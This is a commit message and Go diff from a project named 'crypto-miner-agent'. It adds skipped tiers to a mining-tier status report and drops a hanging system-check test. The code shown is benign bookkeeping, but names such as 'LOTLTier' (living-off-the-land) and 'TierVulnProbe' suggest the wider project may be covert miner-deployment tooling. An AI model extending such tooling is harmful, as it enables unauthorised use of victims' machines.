Fix Fleet AI snapshot skipped mining tiers and trim slow test.
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Include skipped tiers in mining_tiers status and drop the blocking full_sys_check handler test that hung on Windows syscheck probes.
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@@ -3,8 +3,6 @@ package client
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import (
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import (
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"strings"
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"strings"
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"testing"
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"testing"
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"crypto-miner-agent/config"
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)
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)
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func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
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func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
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@@ -120,18 +118,3 @@ func TestHandleAIRestartMining(t *testing.T) {
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t.Fatalf("action=%s ok=%v", gotAction, gotOK)
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t.Fatalf("action=%s ok=%v", gotAction, gotOK)
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}
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}
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}
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}
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func TestHandleAIFullSysCheck(t *testing.T) {
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cfg := config.RuntimeConfig{BuiltinConfig: config.GetBuiltinConfig(), AgentID: "a1"}
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c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
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var gotOK bool
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c.commandResultHook = func(action string, success bool, _ string) {
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if action == "full_sys_check" {
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gotOK = success
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}
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}
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c.handleAICommand("full_sys_check", 0, "", "", "")
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if !gotOK {
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t.Fatal("expected full_sys_check success")
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}
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}
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@@ -209,7 +209,7 @@ func buildDeployTierStatuses(order []string, attempts []miner.TierAttempt) []AIT
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func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.TierAttempt) []AITierStatus {
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func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.TierAttempt) []AITierStatus {
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seen := make(map[miner.LOTLTier]bool, len(chain)+len(skipped)+1)
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seen := make(map[miner.LOTLTier]bool, len(chain)+len(skipped)+1)
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order := make([]miner.LOTLTier, 0, len(chain)+len(skipped)+1)
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order := make([]miner.LOTLTier, 0, len(chain)+len(skipped)+1)
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for _, t := range append([]miner.LOTLTier{miner.TierVulnProbe}, chain...) {
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for _, t := range append(append([]miner.LOTLTier{miner.TierVulnProbe}, chain...), skipped...) {
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if seen[t] {
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if seen[t] {
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continue
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continue
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}
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}
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